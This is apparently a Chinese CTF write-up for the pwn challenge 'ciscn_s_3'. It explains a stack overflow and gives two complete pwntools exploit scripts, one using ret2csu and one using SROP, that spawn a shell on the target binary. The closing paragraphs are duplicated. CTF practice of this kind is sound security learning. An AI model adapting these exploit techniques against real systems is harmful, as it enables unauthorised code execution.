title:ciscn_s_3
ciscn_s_3
依旧是被ciscn血虐的几天,这道题的难度超乎我的想象(就是我太菜了,但同样的我也学会的很多东西,虽然学的比较慢
步骤
例行检查:
很明显是一个64位的动态连接文件并且只开启了NX保护:
IDA
这题漏洞很明显,sys_read可以读入0x400字节的数据,远远大过buf的大小,所以这里可以直接溢出。
还是可以看到程序中还有两个gadget可以使用,而这就是下面为什么有两种方法的原因:
.text:00000000004004D6 ; Attributes: bp-based frame
.text:00000000004004D6
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 55 push rbp
.text:00000000004004D7 48 89 E5 mov rbp, rsp
.text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 48 C7 C0 3B 00+ mov rax, 3Bh ; ';'
.text:00000000004004E2 00 00
.text:00000000004004E9 C3 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA 90 db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB 5D pop rbp
.text:00000000004004EC C3 retn
.text:00000000004004EC ; } // starts at 4004D6
注意其中
.text:00000000004004E2 48 C7 C0 3B 00+ mov rax, 3Bh ; ';'
---
.text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh
这里我们要知道再x64架构下execve和sys_rt_sigreturn的系统调用就是59(0x3B)和15(0xF),所以这里有可以直接用execve(“/bin/sh”,0,0)或者有SROP的方法伪造signal frame构造execve(“/bin/sh”,0,0)再利用sys_rt_sigreturn来getshell
这里大抵有两种方法可以利用:
- SROP
- ret2csu
至于这里为什么不能用ret2libc3大抵是因为这里read和write函数都是直接进行系统调用的libc库里面实际是找不到这两个函数的
方法一:ret2csu
这里的exp说实话是写不来的,还是看大佬的理解了一下:
已经知道了溢出点,接下来就需要构造payload,但这里我们没有system和binsh并且也没有办法实现got表查libc的方法,got表东西实在是太少了(也许也可以利用__libc_start_main,有时间试试
但是我们有execve的系统调用号,也有现成的systcall,所以这里我们只需要往栈里写入/bin/sh再知道其地址即可:
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
这里有两个值得注意的点:
第一点注意
第一他的返回地址其实就是esp的地址:
这里我们都清楚retn == pop eip,即将栈顶地址pop到eip中,而这里看汇编:
.text:00000000004004ED 55 push rbp
.text:00000000004004EE 48 89 E5 mov rbp, rsp
.text:00000000004004F1 48 31 C0 xor rax, rax
.text:00000000004004F4 BA 00 04 00 00 mov edx, 400h ; count
.text:00000000004004F9 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE 48 89 C7 mov rdi, rax ; fd
.text:0000000000400501 0F 05 syscall ; LINUX - sys_read
.text:0000000000400503 48 C7 C0 01 00+ mov rax, 1
.text:0000000000400503 00 00
.text:000000000040050A BA 30 00 00 00 mov edx, 30h ; '0' ; count
.text:000000000040050F 48 8D 74 24 F0 lea rsi, [rsp+buf] ; buf
.text:0000000000400514 48 89 C7 mov rdi, rax ; fd
.text:0000000000400517 0F 05 syscall ; LINUX - sys_write
.text:0000000000400519 C3 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A 90 db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B 5D pop rbp
.text:000000000040051C C3 retn
.text:000000000040051C ; } // starts at 4004ED
从汇编中可以清晰地看出这里的系统调用并没有leave指令:mov ebp,esp | pop ebp
所以这里实际的返回地址就是rsp指向的地方也就是rbp,
所以这里做溢出的时候就不能单纯的看栈空间来溢出,我在这里卡了很久:
第二点注意
写入的/bin/sh的地址需要gdb动态调试才能看出:
这里可以知道0x7ffecbd3edc0处有一个有一个地址,而/bin/sh的地址是│0x7ffecbd3eda0这里就可以通过固定的偏移来计算/bin/sh的地址
这里可以计算偏移为:0x00007ffecbd3eee8 - 0x7ffecbd3eda0 = 0x148
所以有:
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
然后就是最后的攻击:
这里我们选择用csu_init来构造payload,因为这里我们使用的大量的gadget实际上是找不到的,只有csu这里的最为合适:
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
syscall = 0x0400501
execve = 0x4004E2
..........................................................
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
csu_last & csu_former
.text:0000000000400580 loc_400580: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 4C 89 EA mov rdx, r13
.text:0000000000400583 4C 89 F6 mov rsi, r14
.text:0000000000400586 44 89 FF mov edi, r15d
.text:0000000000400589 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040058D 48 83 C3 01 add rbx, 1
.text:0000000000400591 48 39 EB cmp rbx, rbp
.text:0000000000400594 75 EA jnz short loc_400580
.text:0000000000400596
.text:0000000000400596 loc_400596: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 48 83 C4 08 add rsp, 8
.text:000000000040059A 5B pop rbx
.text:000000000040059B 5D pop rbp
.text:000000000040059C 41 5C pop r12
.text:000000000040059E 41 5D pop r13
.text:00000000004005A0 41 5E pop r14
.text:00000000004005A2 41 5F pop r15
.text:00000000004005A4 C3 retn
.text:00000000004005A4 ; } // starts at 400540
- 第一步还是正常的溢出,然后retn到csu_last处将除rbx寄存器外的值全部置零,这里还有以这个值得注意的点:rbx和rbp不再像往常一样分别置零和置一,这是为了会到csu_former第一遍执行完后重新再执行一遍来确保pop_rdi(csu在x64架构下并没有mov rdi这一操作,只有edi也就是对低三十二位进行操作,这也是为什么一开始也要对r15置零的原因,减少干扰项)。至于这里为什么还要往r12中写入binsh_addr + 0x50这一地址而不是直接写入execve的地址呢?这里是因为原本csu里面没有rdi的gadgte,所以这里我们就要再找一个pop_rdi,但是该如何执行这一个gadget呢?这里就需要用到csu里面的循环,当rbx!=rbp时rbx add 1,然后第二次执行就会跳到r12后一个地址,这里就可以放pop_rdi了
- 还有一个就是需要搞清楚地址是什么?这里虽然写两个两个地址看似一样但是实际上写入binsh_addr + 0x50是先指向栈上的地址,而这样的话第二次循环执行rbx = 1后就会很自然的跳转到r12指向地址的下一命令,也就是pop_rdi,这样就会很自然的将binshpop到rdi中(但是这里还有一点就是为什么我动调的时候会执行三次pop_rdi这里我觉得不是很合理,还得再看看)
from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
io = remote('node4.buuoj.cn',26606)
else :
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2
# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
io.sendline(payload)
io.interactive()
但这里还有几点注意:
- 第一个个payload中的返回地址要写vuln写main的话会报错
- 我这里本地打偏移是0x148但是打远程就是0x118(看别人的wp才发现,远程gdb调试不了
方法二 SROP
What is sigal 机制:
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
- 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。**需要注意的是,这一部分是在用户进程的地址空间的。**之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
这里需要理解signal的机制,以ciscn_s_3为例:
程序如上图,这里直接给exp:
from pwn import*
context(log_level = 'debug',arch ='amd64',os = 'linux')
context.terminal= ['tmux','split','-h']
local = 2
if local == 1:
io = remote('node4.buuoj.cn',26606)
else :
io = process('./ciscn_s_3')
elf = ELF('./ciscn_s_3')
poprdi = 0x04005a3
csu_last = 0x0040059A
csu_former = 0x0400580
vuln = elf.sym['vuln']
syscall = 0x0400501
pre_rbp = 0x07ffceb64f728
execve = 0x4004E2
# # gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(vuln)
io.send(payload)
binsh_addr = u64(io.recv()[0x20:0x28])-0x148
print(hex(binsh_addr))
# # # gdb.attach(io)
# payload = (b'/bin/sh\x00').ljust(0x10,b'b')+p64(csu_last) +\
# p64(0)*2 + p64(binsh_addr + 0x50) + p64(0)*3+p64(csu_former)+\
# p64(execve)+p64(poprdi)+p64(binsh_addr)+p64(syscall)
# io.sendline(payload)
# io.interactive()
sigreturn = 0x04004DA
# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
# # frame_packed = p64(frame.rax) + p64(frame.rdi) + p64(frame.rsi) + p64(frame.rdx) + p64(frame.rip)
# gdb.attach(io)
payload = (b'/bin/sh\x00').ljust(0x10,b'b') + p64(sigreturn) +p64(syscall) + bytes(frame1) + p64(vuln)
# payload = (b'/bin/sh\x00').ljust(0x10,b'b') + bytes(frame) + bytes(frame1) + p64(vuln)
io.sendline(payload)
io.interactive()
这里pwntools直接集成了srop模块,对于SignalFrame的伪造会方便很多,当然这里还是列出x64和x86架构下的SigalFrame结构:
X86:
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
X64:
struct _fpstate
{
/* FPU environment matching the 64-bit FXSAVE layout. */
__uint16_t cwd;
__uint16_t swd;
__uint16_t ftw;
__uint16_t fop;
__uint64_t rip;
__uint64_t rdp;
__uint32_t mxcsr;
__uint32_t mxcr_mask;
struct _fpxreg _st[8];
struct _xmmreg _xmm[16];
__uint32_t padding[24];
};
struct sigcontext
{
__uint64_t r8;
__uint64_t r9;
__uint64_t r10;
__uint64_t r11;
__uint64_t r12;
__uint64_t r13;
__uint64_t r14;
__uint64_t r15;
__uint64_t rdi;
__uint64_t rsi;
__uint64_t rbp;
__uint64_t rbx;
__uint64_t rdx;
__uint64_t rax;
__uint64_t rcx;
__uint64_t rsp;
__uint64_t rip;
__uint64_t eflags;
unsigned short cs;
unsigned short gs;
unsigned short fs;
unsigned short __pad0;
__uint64_t err;
__uint64_t trapno;
__uint64_t oldmask;
__uint64_t cr2;
__extension__ union
{
struct _fpstate * fpstate;
__uint64_t __fpstate_word;
};
__uint64_t __reserved1 [8];
};
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_execve
frame1.rdi = binsh_addr
frame1.rsi = 0
frame1.rdx = 0
frame1.rip = syscall
通过这样的简单构造就可以直接把个寄存器设置为自己需要的值,这就是对execve的系统调用。
下面分析payload,这里有我一开始有一点迷惑:就是为什么在
*p64(sigreturn)*之后还要再syscall一次,这里我其实被我自己的写法给误导了,我一开始以为p64(sigreturn)就已经将伪造的SignalFrame恢复,其实不然,这里p64(sigreturn)仅仅只是
text:00000000004004DA 48 C7 C0 0F 00+ mov rax, 0Fh
.text:00000000004004DA 00 00
.text:00000000004004E1 C3 retn
这样一段汇编内容,并没有对syscall的调用,也就没有进入内核态,也就自然没法恢复伪造的SignalFrame来完成攻击,
# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall
而上面这一段被我注释的内容实际上是我有些想当然了,我以为这样构造也可以完成对sigreturn的调用,实际上也是不可以的,因为srop的原理其实就是利用signalreturn恢复机制来完成操作,但这里实际上我将“果”当“因”处理了,是行不通的。
这里的难点其实还是方法一,还是有很多不懂的点,这样的payload实在是巧妙。
.text:00000000004004DA 00 00
.text:00000000004004E1 C3 retn
这样一段汇编内容,并没有对syscall的调用,也就没有进入内核态,也就自然没法恢复伪造的SignalFrame来完成攻击,
```python
# frame = SigreturnFrame()
# frame.rax = 0xf
# frame.rip = syscall
而上面这一段被我注释的内容实际上是我有些想当然了,我以为这样构造也可以完成对sigreturn的调用,实际上也是不可以的,因为srop的原理其实就是利用signalreturn恢复机制来完成操作,但这里实际上我将“果”当“因”处理了,是行不通的。
这里的难点其实还是方法一,还是有很多不懂的点,这样的payload实在是巧妙。